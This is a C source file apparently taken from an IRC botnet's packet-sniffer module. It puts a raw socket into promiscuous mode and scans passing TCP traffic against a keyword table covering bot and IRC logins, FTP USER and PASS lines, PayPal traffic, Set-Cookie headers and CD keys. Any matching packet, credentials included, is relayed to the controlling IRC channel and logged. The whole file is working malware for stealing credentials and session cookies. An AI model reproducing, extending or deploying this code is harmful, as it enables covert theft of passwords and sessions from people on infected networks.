#include "includes.h"
#include "functions.h"
#include "externs.h"

#ifndef NO_PSNIFF

#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)


char *ptype[]={
	"Unknown",
	"BOT",
	"IRC",
	"FTP",
	"HTTP"
};

PSWORDS pswords[]={
	{":.login",BOTP},
	{":,login",BOTP},
	{":!login",BOTP},
	{":@login",BOTP},
	{":$login",BOTP},
	{":%login",BOTP},
	{":^login",BOTP},
	{":&login",BOTP},
	{":*login",BOTP},
	{":-login",BOTP},
	{":+login",BOTP},
	{":/login",BOTP},
	{":\\login",BOTP},
	{":=login",BOTP},
	{":?login",BOTP},
	{":'login",BOTP},
	{":`login",BOTP},
	{":~login",BOTP},
	{":.auth",BOTP},
	{":,auth",BOTP},
	{":!auth",BOTP},
	{":@auth",BOTP},
	{":$auth",BOTP},
	{":%auth",BOTP},
	{":^auth",BOTP},
	{":&auth",BOTP},
	{":*auth",BOTP},
	{":-auth",BOTP},
	{":+auth",BOTP},
	{":/auth",BOTP},
	{":\\auth",BOTP},
	{":=auth",BOTP},
	{":?auth",BOTP},
	{":'auth",BOTP},
	{":`auth",BOTP},
	{":~auth",BOTP},
	{":.id",BOTP},
	{":,id",BOTP},
	{":!id",BOTP},
	{":@id",BOTP},
	{":$id",BOTP},
	{":%id",BOTP},
	{":^id",BOTP},
	{":&id",BOTP},
	{":*id",BOTP},
	{":-id",BOTP},
	{":+id",BOTP},
	{":/id",BOTP},
	{":\\id",BOTP},
	{":=id",BOTP},
	{":?id",BOTP},
	{":'id",BOTP},
	{":`id",BOTP},
	{":~id",BOTP},
	{":.hashin",BOTP},
	{":!hashin",BOTP},
	{":$hashin",BOTP},
	{":%hashin",BOTP},
	{":.secure",BOTP},
	{":!secure",BOTP},
	{":.l",BOTP},
	{":!l",BOTP},
	{":$l",BOTP},
	{":%l",BOTP},
	{":.x",BOTP},
	{":!x",BOTP},
	{":$x",BOTP},
	{":%x",BOTP},
	{":.syn",BOTP},
	{":!syn",BOTP},
	{":$syn",BOTP},
	{":%syn",BOTP},
	{" CDKey ",BOTP},
	{"JOIN #",IRCP},
	{"OPER ",IRCP},
	{"now an IRC Operator",IRCP},
	{"USER ",FTPP},
	{"PASS ",FTPP},
	{"paypal",HTTPP},
	{"PAYPAL",HTTPP},
	{"paypal.com",HTTPP},
	{"PAYPAL.COM",HTTPP},
	{"Set-Cookie:",HTTPP}
};

DWORD WINAPI SniffThread(LPVOID param) {

	char sendbuf[IRCLINE], rawdata[65535], *Packet;
	int i;
	DWORD dwRet, dwMode = 1;

	PSNIFF sniff = *((PSNIFF *)param);
	PSNIFF *sniffs = (PSNIFF *)param;
	sniffs->gotinfo = TRUE;

	IPHEADER *ip;
	TCPHEADER *tcp;
	IN_ADDR sia, dia;

	SOCKET sniffsock;
	SOCKADDR_IN ssin;
	memset(&ssin, 0, sizeof(ssin));
	ssin.sin_family = AF_INET;
	ssin.sin_port = fhtons(0);
	ssin.sin_addr.s_addr = finet_addr(GetIP(sniff.sock));

	if ((sniffsock = fsocket(AF_INET, SOCK_RAW, IPPROTO_IP)) == INVALID_SOCKET) {
		sprintf(sendbuf, ".::[PSNIFF]::. Error: socket() failed, returned: <%d>.", fWSAGetLastError());
		if (!sniff.silent) irc_privmsg(sniff.sock, sniff.chan, sendbuf, sniff.notice);
		addlog(sendbuf);

		clearthread(sniff.threadnum);

		ExitThread(0);
	}
	threads[sniff.threadnum].sock = sniffsock;

	if (fbind(sniffsock, (LPSOCKADDR)&ssin, sizeof(ssin)) == SOCKET_ERROR) {
		sprintf(sendbuf, ".::[PSNIFF]::. Error: bind() failed, returned: <%d>.", fWSAGetLastError());
		if (!sniff.silent) irc_privmsg(sniff.sock, sniff.chan, sendbuf, sniff.notice);
		addlog(sendbuf);

		fclosesocket(sniffsock);
		clearthread(sniff.threadnum);

		ExitThread(0);
	}

	if (fWSAIoctl(sniffsock, SIO_RCVALL, &dwMode, sizeof(dwMode), NULL, 0, &dwRet, NULL, NULL) == SOCKET_ERROR) {
		sprintf(sendbuf, ".::[PSNIFF]::. Error: WSAIoctl() failed, returned: <%d>.", fWSAGetLastError());
		if (!sniff.silent) irc_privmsg(sniff.sock, sniff.chan, sendbuf, sniff.notice);
		addlog(sendbuf);

		fclosesocket(sniffsock);
		clearthread(sniff.threadnum);

		ExitThread(0);
	}

	while(1) {
		memset(rawdata, 0, sizeof(rawdata));
		Packet = (char *)rawdata;

		if (frecv(sniffsock, Packet, sizeof(rawdata), 0) == SOCKET_ERROR) {
            _snprintf(sendbuf,sizeof(sendbuf),".::[PSNIFF]::. Error: recv() failed, returned: <%d>", fWSAGetLastError());
			if (!sniff.silent) irc_privmsg(sniff.sock, sniff.chan, sendbuf, sniff.notice);
			addlog(sendbuf);

            break;
        }

		ip = (IPHEADER *)Packet;
		if (ip->proto == 6) {
			Packet += sizeof(*ip);
			tcp = (TCPHEADER *)Packet;

			sia.S_un.S_addr = ip->sourceIP;
			dia.S_un.S_addr = ip->destIP;

			if (tcp->flags == 24) {
				Packet += sizeof(*tcp);
				if (strstr(Packet, "[PSNIFF]") == NULL) {
					for (i=0;i < sizeof(pswords) / sizeof(PSWORDS);i++) {
						if (strstr(Packet, pswords[i].text)) {
							_snprintf(sendbuf, sizeof(sendbuf), ".::[PSNIFF]::. Suspicious %s packet from: %s:%d to: %s:%d - %s", 
								ptype[pswords[i].type], finet_ntoa(sia), fntohs(tcp->sport), finet_ntoa(dia), fntohs(tcp->dport), Packet);
							if (!sniff.silent) irc_privmsg(sniff.sock, sniff.chan, sendbuf, sniff.notice, TRUE);
							printf("%s\n",sendbuf);
							addlog(sendbuf);

							break;
						}
					}
				}
			}
		}
	}
	fclosesocket(sniffsock);
	clearthread(sniff.threadnum);

	ExitThread(0);
}
#endif
